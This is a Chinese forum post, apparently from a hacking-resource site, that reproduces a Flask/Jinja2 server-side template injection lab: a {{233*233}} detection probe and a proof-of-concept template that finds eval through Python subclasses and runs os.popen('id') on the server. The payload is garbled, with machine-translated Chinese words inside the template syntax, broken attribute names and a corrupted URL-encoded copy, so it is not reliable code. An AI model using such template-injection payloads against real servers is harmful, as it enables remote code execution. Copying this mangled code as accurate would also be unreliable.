H

Flask(Jinja2)服务端模板注入漏洞

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%

Flask(Jinja2) 服务端模板注入漏洞​

原理​

参考文章​

http://rickgray.me/use-python-features-to-execute-arbitrary-codes in-jinja2-templates

漏洞复现​

访问http://your-ip/?name={{233*233}}并获得54289,表明存在SSTI漏洞。
20190613140900.png-water_print

获取Eval功能的POC并执行任意Python代码:
1
2
3
4
5
6
7
8
9
10
11
{c in [] .__ class . base ___________________________________________________()%}
{%c .__ name __=='catch_warnings'%}
{c .__ Init ____________________________值()%}
{%如果b .__ class__=={} .__ class__%}
{%在b.keys()%}中'eval'
{{{b ['eval']('__ import __('os')。popen('id')。read()')}}}}
{%endif%}
{%endif%}
{%endfor%}
{%endif%}
{%endfor%}
Visit http://your-ip:8000/?name={% for c ...s__() %} {% if c.__name__ = 'catch_warnings%2 7%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.init.globals.values()%20%25%7D%0A%20%20%7B%25%20if%20b.class%20%3D%3D%20%7B%7D.class%20%25%7D%0A%20%20%20 %20%20%7b%25%20%20%27%27%20in%20B.Keys()%20%25%7D%0A%20%20%20%20%20%20%20%20%20%20%20%7B%7B%20B%20B%20B%27EVAL%27%27%27%5D(%27__ import __ IMPARPOPT __ IMPOPEN __ IMPOPEN __(%22 22 s).popopen%22%22%22%22%22%22%22%)。 0A%20%20%20%20%20%20%25%20%20%20%25%7D%0A%20%20%20%20%20%25%20ENDIF%20%20%25%7D%20%20%20%20%20%20%20%20%20%20%25%25%7D%7D%0A%0A%7B%20%20%20%20%20%20%20%25%25%20%20%25%20%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%25%20%
20190613140909.png-water_print
 
后退
顶部